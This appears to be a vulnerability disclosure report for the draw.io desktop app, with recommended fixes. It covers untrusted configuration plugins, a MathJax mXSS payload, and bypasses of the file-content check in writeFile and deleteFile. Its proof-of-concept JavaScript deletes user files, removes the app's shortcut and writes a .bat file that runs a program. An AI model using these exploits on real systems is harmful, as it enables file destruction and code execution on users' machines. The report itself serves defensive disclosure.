According to its default configuration, drawio desktop disables the use of custom plugin and must be using –enable-plugins to enable it. In addition, draw.io allows you to configure the application (mainly the interface) using a json file containing information like css or shapes stuff:
{
"defaultVertexStyle": { "fontFamily": "Courier New" },
"defaultEdgeStyle": { "fontFamily": "Courier New" }
}
Unfortunately, this feature allows much more and allows you to specify which plugins to be loaded at the start of the application. (link)
plugins: Defines an array of plugin URLs that should be loaded with the diagram editor.
The problem with this feature is that, it will load the script path directly inside a script
tag without checking the enablePlugins state. Furthermore, the loaded pluggins are not listed in the plugins
section. (link)
{
"plugins": [ "https://app.diagrams.net/plugins/voice.js" ]
}
It’s also important to notice that the following message doesn’t appear when it should.
This vulnerability occurs because drawio configuration isn’t loaded with untrusted
set to true
.
if (isLocalStorage && localStorage != null && urlParams['embed'] != '1')
{
var configData = localStorage.getItem(Editor.configurationKey);
...
Editor.configure(configData);
Editor.configure = function(config, untrusted) {
...
if (config.plugins != null && !untrusted)
{
// Required for callback
App.initPluginCallback();
for (var i = 0; i < config.plugins.length; i++)
{
mxscript(config.plugins[i]);
}
}
...
For this one, I wasn’t able to prove that there was a real security issue. So, it’s much more like a recommendation, but I think that was important to mention it.
When using a mathematical typesetting like <h1>$$\sqrt{3×-1}+(1+x)^2$$</h1>
the input will be first sanitized by DOMPurify and then parse by MathJax. This is really dangerous because MathJax mixed without another html could potentially lead to mixing for example. (even if it have been sanitize before. Example with markedJS)
As an example, the payload bellow will generate a valid mXSS payload. Luckily, it will not be executed as the DOM loads it in 2 times. Also, if you ever add a feature that allows the DOM to be reloaded or anything like that, it will be a free XSS.
payload: (can be simply copy past on the graph)
XX<textarea class="mathjax_process">`\class{</textarea><img src=x onerror=alert()>}{XSS RISK HERE}`</textarea>
output: (reduced)
<textarea class="mathjax_process">
<mjx-container class="MathJax" jax="SVG">
<svg style="vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="18.357ex" height="1.645ex" role="img" focusable="false" viewBox="0 -705 8114 727" xmlns:xlink="http://www.w3.org/1999/xlink">
<g data-mml-node="mrow" class="</textarea><img src=x onerror=alert()>"></g>
</svg>
</mjx-container>
</textarea>
The deleteFile allows file deletion only for those who match checkFileContent patterns.
async function deleteFile(file)
{
...
if (checkFileContent(buffer))
{
await fsProm.unlink(file);
}
}
The problem with this is that linked to writeFile, it is possible to write a magic header in the file we want to delete and then call the function.
Example of bypass:
file = "";
// overwrite file
electron.request({
action: 'writeFile',
path: file,
data: '%PDF-',
enc: 'utf-8'
}, (d) => {
// delete file
electron.request({ action: 'deleteFile', file: file }, (d) => {}, "")
}, "")
The writeFile function is vulnerable to type junggling, making it possible to generate script polymorphic files. Furthermore, this function should not be able to write file with any extension as it allows a lot of dangerous file generation.
async function writeFile(path, data, enc)
{
if (!checkFileContent(data, enc))
{
throw new Error('Invalid file data');
}
else
{
return await fsProm.writeFile(path, data, enc);
}
};
function checkFileContent(body, enc)
{
...
if (enc == 'base64')
Both checkFileContent
and fsProm.writeFile
are all allowing base64
encoding, but are handling enc
variable differently. In checkFileContent it will check it using only 2 equals while fsProm.writeFile will accept only string
or use UTF-8
as default encoding.
Thus, sending valid base64 encoded header will pass the verification and be written without decoding into the file. In addition, because base64 string is a valid variable name in most programming languages, it can be abused to write a valid javascript polymorph file for example.
Example of bypass:
file = "";
electron.request({
action: 'writeFile',
path: file,
data: "PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1;\n{FREE-HERE}",
enc: ['base64'] // type jungling
}, (d) => {
alert("SUCCESS")
}, "")
I will not describe how to bypass the CSP on desktop application, because Tobias S. Fink clearly explains how to in this report. Thus, we will assume that all desktop XSS is due to the following configuration file:
{
"plugins": [
"\\\\192.168.1.126\\MizuShare\\xss.js"
]
}
// get User directory
electron.request({ action: 'getDocumentsFolder' }, (d) => {
documents = d;
desktop = documents + "\\..\\Desktop\\";
file = desktop + "secret.txt";
// overwrite file
electron.request({
action: 'writeFile',
path: file,
data: '%PDF-',
enc: 'utf-8'
}, (d) => {
// delete file
electron.request({ action: 'deleteFile', file: file }, (d) => {}, "")
}, "")
}, "")
Event if the attacker have no way to know file names, he could use wordlist | fuzzing | known AppData files for example.
In the production draw.io desktop app, all resources are archived in read-only .asar
file which block electron-preload.js file overwrites. Since it is possible to create and delete any file that doesn’t match checkFileContent
function. Thus, it is possible to remove all draw.io shortcuts and create a malicious .bat
file for example.
// get User directory
electron.request({ action: 'getDocumentsFolder' }, (d) => {
documents = d;
desktop = documents + "\\..\\Desktop\\";
// delete file
file = desktop + "draw.io.lnk";
electron.request({
action: 'writeFile',
path: file,
data: '%PDF-',
enc: 'utf-8'
}, (d) => {
electron.request({ action: 'deleteFile', file: file }, "", "")
}, "")
// create malicious .bat file
file = desktop + "draw.io.bat";
electron.request({
action: 'writeFile',
path: file,
data: 'PGh0bWxYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhY=1\ncalc.exe',
enc: ['base64'] // type jungling
}, "", "")
}, "")
I know that the scenario isn’t that much realist and need a user interaction, but it is a simple PoC. An attacker could try to make it more tricky to detect for the user. That’s why, it is important to notice that even creating a .bat shouldn’t be possible.
In order to avoid those issues, I recommend you to fix the following:
Editor.configure(configData);
to Editor.configure(configData, true);
to avoid trust in configuration plugins.MathJax
output by DomPurify
to avoid any mXSS risk.writeFile
only on specific extension list.checkFileContent
before overwriting a file with writeFile
.if (enc == 'base64')
to if (enc === 'base64')
.More generally, I recommend you to make sure that each file interaction is done on checkFileContent
approve files.